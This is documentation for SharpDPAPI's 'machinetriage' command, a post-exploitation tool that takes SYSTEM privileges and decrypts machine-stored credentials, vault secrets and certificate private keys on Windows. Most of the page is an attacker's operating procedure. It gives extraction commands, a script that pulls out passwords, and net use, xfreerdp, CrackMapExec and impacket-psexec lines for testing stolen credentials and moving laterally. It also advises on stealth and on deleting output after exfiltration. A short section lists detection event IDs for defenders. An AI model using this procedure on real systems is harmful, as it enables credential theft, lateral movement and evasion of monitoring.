machinetriage

Overview

The machinetriage command is a comprehensive wrapper that executes all machine/SYSTEM DPAPI extraction commands in a single run. It automatically extracts machine credentials, vaults, and certificates for complete system-level DPAPI triage.

This is the recommended starting point for machine DPAPI triage. It runs the equivalent of machinecredentials, machinevaults, and certificates /machine commands.

Basic Usage

# Complete machine DPAPI triage (requires elevation)
SharpDPAPI.exe machinetriage

This command requires elevation (Administrator privileges) to:

Elevate to SYSTEM via token duplication
Retrieve the DPAPI_SYSTEM LSA secret
Access all system credential directories

What Gets Triaged

The machinetriage command executes the following operations:

DPAPI_SYSTEM Retrieval

Elevates to SYSTEM and retrieves the DPAPI_SYSTEM LSA secret

Machine Masterkeys

Decrypts all machine DPAPI masterkeys using DPAPI_SYSTEM

Machine Credentials

Searches system credential directories and decrypts all credential files (scheduled tasks, service accounts, etc.)

Machine Vaults

Searches system vault folders and decrypts vault data (web credentials, network passwords, etc.)

Machine Certificates

Searches system certificate directories and decrypts certificate private keys

Execution Flow

SharpDPAPI.exe machinetriage

When to Use machinetriage

Initial Compromise

First action after gaining admin access to a system

Privilege Escalation

Discover privileged credentials for escalation

Lateral Movement

Find credentials for moving to other systems

Persistence

Identify long-lived service account credentials

Common Scenarios

Post-Exploitation Standard Operating Procedure

After gaining admin access:

# 1. Run machine triage
SharpDPAPI.exe machinetriage > machine_data.txt

# 2. Analyze output for:
# - Scheduled task credentials (often domain admins)
# - Service account passwords
# - RDP credentials for lateral movement
# - Web portal access
# - Certificate private keys

# 3. Test discovered credentials
# 4. Escalate or move laterally

Comprehensive System Assessment

Full credential sweep:

# Machine-level data (requires elevation)
SharpDPAPI.exe machinetriage > machine.txt

# User-level data (if elevated)
SharpDPAPI.exe triage /pvk:domain_backup_key.pvk > users.txt

# SCCM credentials (if SCCM client)
SharpDPAPI.exe sccm > sccm.txt

# Analyze all collected data

Service Account Discovery Workflow

Find and exploit service accounts:

# 1. Extract all machine credentials
SharpDPAPI.exe machinetriage

# 2. Enumerate services
sc.exe query state= all

# 3. Correlate service accounts with found credentials
# 4. Test service account privileges
# 5. Use for lateral movement or privilege escalation

Scheduled Task Enumeration

Find privileged task credentials:

# 1. Run machine triage
SharpDPAPI.exe machinetriage

# 2. Look for: Domain:batch=TaskScheduler:Task:{GUID}
# 3. Extract task GUID from output

# 4. Find corresponding task
schtasks /query /fo LIST /v | findstr /i "{GUID}"

# 5. Identify task purpose and privileges

Comparison: User vs Machine Triage

Aspect	triage (User)	machinetriage (Machine)
Target	User profiles	System profiles
Privilege	User/Admin	Admin (SYSTEM)
Decryption Key	Domain backup key / user password	DPAPI_SYSTEM secret
Credentials	User saved passwords	Service/scheduled task credentials
Vaults	User web passwords	System web credentials
Certificates	User certificates	Machine certificates
Typical Value	User credentials, browser data	Service accounts, system credentials

For complete coverage, run both triage and machinetriage commands.

Detection Considerations

Machine triage is a high-privilege, comprehensive operation that should trigger multiple security alerts.

Host-Based Indicators:

Elevation to SYSTEM privileges
LSA secret retrieval (DPAPI_SYSTEM)
Bulk access to system credential directories
Reading system vault files
Enumeration of machine certificate stores
High volume of DPAPI operations

Event Log Indicators:

Event ID: 4624 (Logon)
Logon Type: 3 (Network)
Account Name: SYSTEM

Event ID: 4656/4663 (Object Access)
Object Name: *\SystemProfile\AppData\Local\Microsoft\*
Object Name: *\ServiceProfiles\*\Credentials\*
Object Name: *\Vault\*
Object Name: *\MachineKeys\*

Event ID: 4673 (Privileged Service Called)
Privileges: SeDebugPrivilege, SeImpersonatePrivilege

Event ID: 4688 (Process Creation)
Process Name: SharpDPAPI.exe

Defensive Monitoring:

Monitor SYSTEM token impersonation
Alert on LSA secret access (DPAPI_SYSTEM)
Track bulk system credential directory access
Detect system vault enumeration
Monitor machine certificate access
Alert on SharpDPAPI or similar tools

machinevaults

sccm

SCCM NAA credentials

Tips

Maximizing Value

Run immediately after gaining admin access
Focus on scheduled task credentials (often privileged)
Test RDP credentials for lateral movement
Check certificate EKUs for authentication capabilities
Correlate task GUIDs with schtasks output
Look for domain accounts vs local accounts

OPSEC Considerations

Requires elevation (high visibility)
Comprehensive operation generates many events
SYSTEM privilege elevation triggers alerts
Consider breaking into individual commands if stealth needed
Redirect output to file to minimize console activity
Clean up output files after exfiltration

Troubleshooting

Access denied:

Need Administrator privileges
UAC may block elevation
Security software may prevent SYSTEM access
AV/EDR may terminate process

Partial results:

Some components may fail while others succeed
Check individual command outputs
Verify DPAPI_SYSTEM was retrieved correctly
Review error messages for specific failures

No data found:

System may not have machine credentials/vaults
Scheduled tasks may use group policy credentials
Services may not store credentials locally
Check ServiceProfiles directories manually

Output Analysis Tips

Prioritize Credentials:

Domain Accounts - Highest value, potential lateral movement
Scheduled Task Credentials - Often privileged accounts
RDP Credentials - Direct lateral movement
Service Accounts - May have elevated privileges
Web Portal Credentials - Internal infrastructure access

Certificate Value Assessment:

Client Authentication - Can authenticate to services
Code Signing - Sign executables/scripts
Server Authentication - SSL/TLS impersonation
Expired certificates - Lower value but may still work

Immediate Actions:

# Test domain credentials
net use \\dc.domain.com\C$ /user:DOMAIN\found_account found_password

# Test RDP access
xfreerdp /u:found_account /p:found_password /v:target_server

# Check account privileges
net user found_account /domain

Integration with Other Tools

PowerShell Analysis:

# Parse machine triage output
$output = Get-Content machine_triage.txt

# Extract usernames
$output | Select-String "UserName" | ForEach-Object {$_ -replace '.*UserName\s+:\s+', ''}

# Extract passwords
$output | Select-String "Credential" | ForEach-Object {$_ -replace '.*Credential\s+:\s+', ''}

Credential Testing:

# Test with CrackMapExec
crackmapexec smb targets.txt -u found_user -p found_password

# Test with Impacket
impacket-psexec DOMAIN/found_user:found_password@target

Summary

The machinetriage command is your one-stop shop for machine/SYSTEM DPAPI credential extraction. It combines:

machinecredentials - Scheduled tasks, service accounts
machinevaults - Web and network credentials
certificates /machine - Certificate private keys

Use this as your first command after gaining admin access to maximize credential discovery and lateral movement opportunities.
